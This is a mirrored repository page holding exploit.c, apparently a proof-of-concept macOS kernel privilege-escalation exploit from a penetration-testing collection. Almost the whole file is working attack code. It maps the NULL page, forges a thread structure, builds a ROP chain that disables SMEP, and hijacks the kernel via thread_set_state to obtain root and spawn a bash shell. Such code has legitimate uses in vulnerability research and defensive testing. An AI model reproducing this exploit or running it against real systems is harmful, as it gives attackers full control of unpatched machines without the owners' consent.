mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2025-06-20 18:00:35 +00:00
153 lines
4.6 KiB
C
153 lines
4.6 KiB
C
![]() |
//
|
||
|
// exploit.c
|
||
|
//
|
||
|
// Created by Ilias Morad.
|
||
|
// Copyright © 2019 Ilias Morad. All rights reserved.
|
||
|
//
|
||
|
|
||
|
#include <stdio.h>
|
||
|
#include <stdlib.h>
|
||
|
#include <unistd.h>
|
||
|
|
||
|
#include "definitions.h"
|
||
|
#include "gadgets.h"
|
||
|
|
||
|
|
||
|
#define DEBUG 1
|
||
|
|
||
|
|
||
|
// Used in kernel.s
|
||
|
extern uint64_t current_proc;
|
||
|
extern uint64_t proc_ucred;
|
||
|
extern uint64_t posix_cred_get;
|
||
|
extern uint64_t return_to_user;
|
||
|
|
||
|
extern void escalatePrivs(void);
|
||
|
|
||
|
|
||
|
// For debugging
|
||
|
void hexdump(const void* data, size_t size) {
|
||
|
char ascii[17];
|
||
|
size_t i, j;
|
||
|
ascii[16] = '\0';
|
||
|
for (i = 0; i < size; ++i) {
|
||
|
printf("%02X ", ((unsigned char*)data)[i]);
|
||
|
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
|
||
|
ascii[i % 16] = ((unsigned char*)data)[i];
|
||
|
} else {
|
||
|
ascii[i % 16] = '.';
|
||
|
}
|
||
|
if ((i+1) % 8 == 0 || i+1 == size) {
|
||
|
printf(" ");
|
||
|
if ((i+1) % 16 == 0) {
|
||
|
printf("| %s \n", ascii);
|
||
|
} else if (i+1 == size) {
|
||
|
ascii[(i+1) % 16] = '\0';
|
||
|
if ((i+1) % 16 <= 8) {
|
||
|
printf(" ");
|
||
|
}
|
||
|
for (j = (i+1) % 16; j < 16; ++j) {
|
||
|
printf(" ");
|
||
|
}
|
||
|
printf("| %s \n", ascii);
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
void fail() {
|
||
|
puts("[-] Stopping exploit");
|
||
|
exit(-1);
|
||
|
}
|
||
|
|
||
|
int main(int argc, const char *argv[]) {
|
||
|
kern_return_t err = -1;
|
||
|
uint64_t kSlide = -1;
|
||
|
|
||
|
// after we return to userland our process state is super messed up
|
||
|
// in order to be able to get a "stable" environment
|
||
|
// our userland shellcode will just exec() itself again as root
|
||
|
if(getuid() == 0) {
|
||
|
puts("[+] Userland shellcode says hi!");
|
||
|
printf("[*] Patched uid=0x%x euid=0x%x gid=0x%x egid=0x%x\n", getuid(), geteuid(), getgid(), getegid());
|
||
|
system("/bin/bash");
|
||
|
exit(0);
|
||
|
}
|
||
|
|
||
|
if(argc < 2) {
|
||
|
puts("[-] You need to provide the kernel slide.");
|
||
|
fail();
|
||
|
} else {
|
||
|
kSlide = strtol(argv[1], NULL, 0x10);
|
||
|
printf("[*] Kernel slide: 0x%llx\n", kSlide);
|
||
|
}
|
||
|
|
||
|
current_proc = 0xffffff8000968360 + kSlide;
|
||
|
proc_ucred = 0xffffff8000820d30 + kSlide;
|
||
|
posix_cred_get = 0xffffff80007ddbe0 + kSlide;
|
||
|
return_to_user = 0xffffff8000229680 + kSlide;
|
||
|
|
||
|
printf("[*] uid=0x%x euid=0x%x gid=0x%x egid=0x%x\n", getuid(), geteuid(), getgid(), getegid());
|
||
|
|
||
|
vm_address_t pageZero = 0x00;
|
||
|
err = vm_allocate(mach_task_self(), &pageZero, 0x1000, 0);
|
||
|
if(err != 0) {
|
||
|
printf("[-] vm_allocate(pageZero) returned %d\n", err);
|
||
|
fail();
|
||
|
}
|
||
|
memset(0,0,0x1000);
|
||
|
puts("[*] Mapped NULL Page to catch GS accesses");
|
||
|
|
||
|
vm_address_t fakeThread = 0;
|
||
|
err = vm_allocate(mach_task_self(), &fakeThread, 0x1000, VM_FLAGS_ANYWHERE);
|
||
|
if(err != 0) {
|
||
|
printf("[-] vm_allocate(fakeThread) returned %d\n", err);
|
||
|
fail();
|
||
|
}
|
||
|
printf("[*] Fake Thread is at: 0x%x\n", fakeThread);
|
||
|
|
||
|
uint64_t *fakeStack = (uint64_t *)0x5d000000;
|
||
|
vm_address_t fakeStackk = 0x5d000000;
|
||
|
err = vm_allocate(mach_task_self(), &fakeStackk, 0x1000, 0);
|
||
|
if(err != 0) {
|
||
|
printf("[-] vm_allocate(fakeStack) returned %d\n", err);
|
||
|
fail();
|
||
|
}
|
||
|
printf("[*] Fake Stack is at: 0x%x\n", (uint32_t)fakeStack);
|
||
|
|
||
|
x86_saved_state32_t state;
|
||
|
memset(&state, 0xFF, sizeof(x86_saved_state32_t));
|
||
|
state.gs = 0x23;
|
||
|
|
||
|
*(int64_t*)(pageZero+0x8) = fakeThread; // gs:0x8 = pointer to thread structure
|
||
|
*(int64_t*)(fakeThread+0x350) = ROP_PIVOT_STACK + kSlide; // thread->recover; This will be called the next time the
|
||
|
// kernel executes iretq
|
||
|
*(int64_t*)(pageZero+0x168) = 0x400+0x28; // stackpointer + 0x28 (not used)
|
||
|
*(int64_t*)(pageZero+0x400) = 0x4242424242424242; // [rsp] (not used)
|
||
|
|
||
|
puts("[+] SAVED_STATE32 setup done!");
|
||
|
|
||
|
|
||
|
// Disable SMEP
|
||
|
int sp = 0;
|
||
|
fakeStack[sp] = kSlide + ROP_POP_RAX ; ++sp;
|
||
|
fakeStack[sp] = CPU_DISABLE_SMEP ; ++sp;
|
||
|
fakeStack[sp] = kSlide + ROP_MOV_CR4_RAX ; ++sp;
|
||
|
// SMEP is disabled and we can jump to our userland code part
|
||
|
fakeStack[sp] = (uint64_t)escalatePrivs ; ++sp;
|
||
|
|
||
|
|
||
|
if(DEBUG) {
|
||
|
char c;
|
||
|
printf("[DEBUG] escalatePrivs: %p\n[DEBUG] SMEP disable ROP-Chain:\n", &escalatePrivs);
|
||
|
hexdump((const void *)fakeStackk, 0x20);
|
||
|
puts("[DEBUG] Waiting...");
|
||
|
// scanf(" %c", &c);
|
||
|
}
|
||
|
|
||
|
puts("[+] Here we go...");
|
||
|
thread_set_state(mach_thread_self(), x86_SAVED_STATE32, (thread_state_t) &state, x86_SAVED_STATE32_COUNT);
|
||
|
while(1) {}
|
||
|
return 0;
|
||
|
}
|